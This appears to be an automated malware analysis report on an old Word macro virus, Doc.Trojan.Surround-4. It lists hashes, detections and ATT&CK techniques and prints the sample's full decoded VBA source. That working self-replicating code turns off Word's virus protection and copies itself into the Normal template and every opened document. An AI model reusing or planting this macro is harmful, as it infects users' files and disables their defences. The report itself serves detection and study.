Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dbe1b9d57ed30688…

MALICIOUS

Office (OLE)

28.5 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 28651d5f95f7d140b7449786762c5c59 SHA-1: ef14cb71db2a192876a3452b2ecc7aed16fc0f43 SHA-256: dbe1b9d57ed306881483c91c6f43b2eff7148ff4a4865368e0ffa16e6e633211
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Word document containing VBA macros. The AutoOpen macro executes a series of subroutines that export a macro module named 'Surround' to 'C:\Surround.key' and then attempts to import this module into the Normal template and the active document. This behavior suggests an attempt to establish persistence or spread the malicious macro.

Heuristics 4

  • ClamAV: Doc.Trojan.Surround-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Surround-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1500 bytes
SHA-256: 0903df131b9c0be3e817903d533fb4b536f5a0e4552bb53ce753b5e56430d428
Detection
ClamAV: Doc.Trojan.Surround-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Surround"
Sub AutoOpen()
    CreateKey
    DefaultOptions
    InsertInNormal
    InsertInActive
End Sub

Sub AutoNew()
    InsertInActive
End Sub

Sub DefaultOptions()
    Options.VirusProtection = False
    Options.BackgroundSave = True
    Options.SaveNormalPrompt = False
End Sub

Sub AutoExec()
    DefaultOptions
    If Month(Date) = 12 And Day(Date) = 29 Then
    End If
End Sub

Sub CreateKey()
    For Each component In ActiveDocument.VBProject.VBComponents
        If component.Name = "Surround" Then
            component.Export ("C:\Surround.key")
            SetAttr "C:\Surround.key", vbHidden + vbSystem
        End If
    Next component
End Sub

Sub InsertInNormal()
    For Each component In NormalTemplate.VBProject.VBComponents
        If component.Name = "Surround" Then Exit Sub
    Next component
    If Day(Date) = 21 Then
        Beep
    End If
    NormalTemplate.VBProject.VBComponents.Import ("C:\Surround.key")
End Sub

Sub InsertInActive()
    For Each component In ActiveDocument.VBProject.VBComponents
        If component.Name = "Surround" Then Exit Sub
    Next component
    ActiveDocument.VBProject.VBComponents.Import ("C:\Surround.key")
End Sub

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